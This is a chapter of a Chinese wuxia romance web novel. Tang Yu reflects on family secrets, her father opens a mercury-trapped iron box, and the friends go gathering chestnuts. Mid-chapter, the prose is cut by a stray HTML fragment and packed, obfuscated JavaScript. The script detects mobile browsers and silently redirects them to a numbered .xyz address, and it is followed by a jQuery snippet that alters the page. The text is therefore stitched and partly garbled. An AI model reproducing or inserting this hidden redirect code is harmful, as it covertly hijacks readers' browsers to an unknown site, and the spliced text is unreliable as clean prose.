49. 蕴岭坟 一
作品:《江湖何曾骗真心》 次日,晨光微曦。
唐雨昨夜几乎未眠,此时独自坐在廊下,仰头望向天空。昨夜的风早已吹散阴云,今晨的天倒是重新晴净,澄澈得只余满目碧蓝。
远处传来几声清脆鸟鸣,倒也算衬得这清晨,不那么寂静沉闷。
唐舸昨夜睡得极沉,此刻早早便起了床,正揉着惺忪睡眼从屋中走出,打算去厨房寻点吃食。
恰好看见唐雨坐在廊前,眼中一亮,快步跑了过去。
“唐雨姐!”他笑着探头,好奇地问:“你怎么起这么早?”
“小舸。”唐雨回神,眉眼间带上几分温柔,笑问:“昨夜睡得可好?”
“挺好的啊。”唐舸歪着头想了想,又看了眼这乍亮的天,忙解释道:“别看我起得早,昨晚都没和阳阳聊了几句,就都倒头睡得不省人事了。”
他伸了个懒腰,笑得神采飞扬,“这不早早醒来,还觉得神清气爽呢。”
唐雨望着他那副天真模样,唇角也轻轻扬起:“那就好。”
“那要不要我今日接着陪阳阳?我看他昨晚睡得可香了。”唐舸得意地眨眨眼。
“不用了。”唐雨轻轻摇头,见他微微有些失望的小表情,又笑着安慰,“多亏你了。小舸,谢谢你。”
“唐雨姐,客气什么。”唐舸摆摆手,却被自己肚子里“咕噜噜”一声打断,不好意思地挠了挠头,“那我先去吃早饭啦!”
“去吧。”唐雨失笑,目送他离开。
少年背影在朝阳下显得轻快又明亮,她的目光,却逐渐黯然,眸底甚至带上一丝哀色。
微风拂过庭檐,吹动她鬓边发丝,也将她的思绪带回昨夜。
那场“闹鬼”虽已水落石出,但真正难解的,却是众人心中的结。
小姨虽意外被寻回,却什么也不记得。虽得但失,重逢对唐门而言是喜是痛还说不清。
只是门主眼底的悲痛,却叫她也有些触动。
在几人告辞之前,门主还语气恳切地拜托众人:“此事,还请诸位保密。尤其……不能叫唐舸知道。”
谢行征、望山岳与萧方椋皆沉默应下。毕竟此为唐门家事,他们这些外人无权置喙。
唐雨也能理解门主的决定。
无论当年小姨有多少理由,又遭了多少苦难,终究还是抛弃了唐舸。
这在当时,不仅对门主与自己母亲而言是伤害,更是唐舸心中的伤。
他在唐门长大的那些年岁,没有父母的陪伴,所以唐门上下才会将更多的爱都倾注与他,想尽力弥补些那失去的温情。
可唐雨心中仍有迟疑。
“你们想瞒着小舸,另寻良机告知,无可厚非。可若有日他意外得知真相,只怕会更难承受。”
提前知会与自己发现,是截然不同的两码事。
唐雨看向安静睡在门主怀中的小姨,只觉得,也许让唐舸知道,比隐瞒,甚至让他误解白影为鬼,并一直莫名其妙厌恶着他的生母,来得更好。
但她也明白,每个人都有秘密,也有无法相告秘密的理由。
她自己,又何尝不是。
想到这,唐雨心中微动,涌上些许复杂的情绪。
关于自己南疆的身世,关于或许是月绮梦的猜测,自己又该不该一直瞒下去?
是否也该寻一时机,亲口说出?
她胸中烦闷,却又觉得这么瞻前顾后的,有点不像自己。
不欲再想,她收敛心神,起身准备也去小厨房寻些吃食。
忽而,天际一抹小小黑影由远及近,掠空而来。
唐雨伸出手,一只黑身蓝羽的鸦雀竟轻巧地落在其腕上。它的羽色在日光下,泛着特别的墨蓝,脖间缀着一圈银环,是唐门特制用来传讯的。
而这只蓝鸦,正是自己爹爹所养。
指尖轻触某处,银环便自动解开,一卷小纸缓缓滑出。
她展开细看,眼底微光闪动,唇角也随之扬起一抹笑意。
“看来,之前与爹爹说的事,已有着落。”
话音未落,她抬手一扬。
鸦雀振翅腾空而起,发出几声短促而清亮的鸣叫,便转瞬飞向天际,再难觅踪影。
阳光洒落庭院,照亮她的侧颜。
今日晴光正好,也是个好天气。想来是该邀上好友,去蕴岭山自己家中,坐上一坐才是。
*
与山下不同,蕴岭山上常年雾气弥漫。
阳光自从密林间透下,斑驳交织撒落在地,仿佛织出一张无形的光网。再配上那竹篱间简朴小屋,反倒让人颇觉隐逸之感。
院中炭炉之上正煮着茶,袅袅香气萦绕。
唐雨与谢行征三人则围坐于石桌旁,其上摆着苏沐之夫妇备好的点心水果,一派宁静祥和。
不多时,苏沐之从内屋走出。
他神情一如往日般温和,手中握着一个方形铁匣,正是唐雨先前自皇帝手中接下的那只,也是他们此行的任务之一。
“你们来得正好。”苏沐之开口,笑意温和。
他说着,先将铁匣放在桌上,又取起炭炉上的茶壶,亲自为众人倒上。
“这茶是我亲手焙的,你们尝尝。”
唐雨顾不得茶香,目光早落在那铁匣上,忙问:“爹爹,你可是破开了此匣机关?”
苏沐之笑了笑,抚过匣面上精致的花纹,指尖感受着金属的冰冷:“此物并非中原所制,而是出自南疆机关术师之手。你先前一时没有头绪,也实属正常。”
说罢,他竟将铁匣放上炭火架。
在众人意外的眼神中,他语气平稳:“我这几日细细研究,终于摸出些门道。今日让小雨带诸位前来,便是为解开此匣,好将其中之物,亲手交给谢将军。”
谢行征抱拳致谢:“有劳前辈。”
苏沐之淡淡一笑,目光仍落在那铁匣上,啊炭火的炙热,好似能驱散几分此匣原本的冰冷阴沉。
“这铁匣表面确无任何机关锁孔,诡异花纹也只是装饰。因而,其巧妙之处在于,破解此匣之法,在其内部。”
“内部?”唐雨一怔,忍不住问,“可连外壳都打不开,又如何从内部下手?”
苏沐之并不直接答,反问:“小雨,你可曾注意到这铁匣,结构分为三层?”
唐雨点点头:“我曾仔细查过,它表层是玄铁所制,最内层虽未得见,但想来也为玄铁所制小盒,用以保护其内物件。而两者之间那层,则灌有水银。”
“水银?”谢行征眉头微蹙。
“没错。”唐雨补充道:“若从外部强行破开,水银便会渗入内盒之中,将所藏之物腐蚀毁坏。”
苏沐之点头,语气低沉:“而且,水银剧毒无比,若破开时不慎吸入沾染,轻则眩晕,重则中毒毙命。设计此机关之人,心思不可谓不歹毒。”
不仅要防人夺物,还要置那些试图打开匣子的人于死地。
火光跳动,那铁盒被烧了有一会,早已是烫手的无法拿起。苏沐之便借用一旁的铁钳,将其稳稳夹起,转移到一旁早备好的,盛满清水的木桶之中。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516876|180495||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“滋——!”
热铁遇冷,爆出尖锐的嘶鸣,滚烫的白雾瞬间蒸腾而起,迷住众人视线。
几人本能地后仰,可唐雨还是听见其中,有一声轻微的“啪嗒”,像是什么东西碎了。
片刻后,白雾渐散。
几人屏息望去,只见铁匣一角竟裂开一道小口,水银正缓缓流出滑入桶底。
不一会,那原本毫无破绽的外匣,竟自己缓缓打开。而其中一只更小巧的铁盒,则随之漂浮上了水面。
苏沐之再度执钳,将那内盒取出,稳稳放于桌上,静待其冷却。
唐雨则探身朝桶底望去,只见除水银外,其中还散落着几片透明残片,在阳光下折射出细碎的七色光彩。
她神情微变,低声道:“琉璃?”
苏沐之点头,“这机关的奥妙,正藏在这颗琉璃珠上。”
他解释道:“此珠封住水银通往的唯一出口,既用以隔绝内外,又可将水银稳在特定水平。我先将其烧热,水银膨胀后将玻璃包裹,推至出口。随后立即放入冷水,琉璃遇冷碎裂,出口处便能被水银腐蚀而开。待水银流尽,内部结构失衡,铁匣自然就开了。”
唐雨听罢,也不由感叹:“倒确是精妙至极。”
她看向父亲,目光落在那只仍带着水渍的铁盒上。
铁盒已凉,苏沐之拿起帕子,仔细擦去残留的水珠,并缓缓将它推到谢行征面前。
“此等机关中所藏,想来绝非凡物。”
他语气温和,却带着认真:“我与夫人远离尘世纷扰已久,还不是不看为宜。”
一旁的炭火发出几声轻响,白烟缭绕,是叫谁也不忍打扰的山中烟火。
谢行征沉默片刻,终是拱手道谢:“多谢前辈。”
他眼伤未愈,自然也看不了,只得将那盒小心收入怀中。
院中顿时又陷入一片安静,只余风拂林叶的窸窣之声。
片刻后,还是唐雨先笑着打破沉默:“如今入秋了,蕴岭山的栗子正多。趁爹爹做饭要些功夫,我们不如去林里捡一筐回来。”
几人自然应下。
萧方椋与谢行征是怕留在院中不便,唐雨与望山岳则是真的觉得有趣。
唐雨两人打头在林中穿行,不一会就捡了小半筐。
忽然,她目光一亮,看见前方枝头上挂着几颗红果。
纵身几步跃去,将果子摘下后,回身飘然落至谢行征身边。也不管他正陷入自己的纷杂思绪中,直接将一颗红果放在他掌心。
望山岳见状,也立刻为阿椋摘了两个红果,还细心地掏出手帕,帮他仔细擦干净。
谢行征摸着掌中果子,虽知唐雨不会害自己,但猜不出是什么,到底有些犹豫。
“好吃的。”唐雨笑眯眯地说。却在看见萧方椋接过望山岳手中红果正要吃时,疯狂眼神暗示。
可谢行征是目不能视,在唐雨推荐下,小心将红果放至唇边,轻轻咬了一口。
顿时,一股酸味几乎直冲天灵盖,叫他连眉头都皱了起来。
“哈哈!”一旁的唐雨简直笑弯了腰。
可见这么酸的果子,谢行征都忍着只是皱了下眉,唐雨到底心生怜意,从筐中剥出一个栗子,送到他唇边。
“这个是甜的,我保证。”
谢行征嗅到那股栗香,微微偏头,张口咬下。
嘴唇不可避免蹭到她指尖。栗子的甘香在舌尖散开,唇瓣那若有似无的热意,却比甜味更叫他心乱。
有点……太甜了。

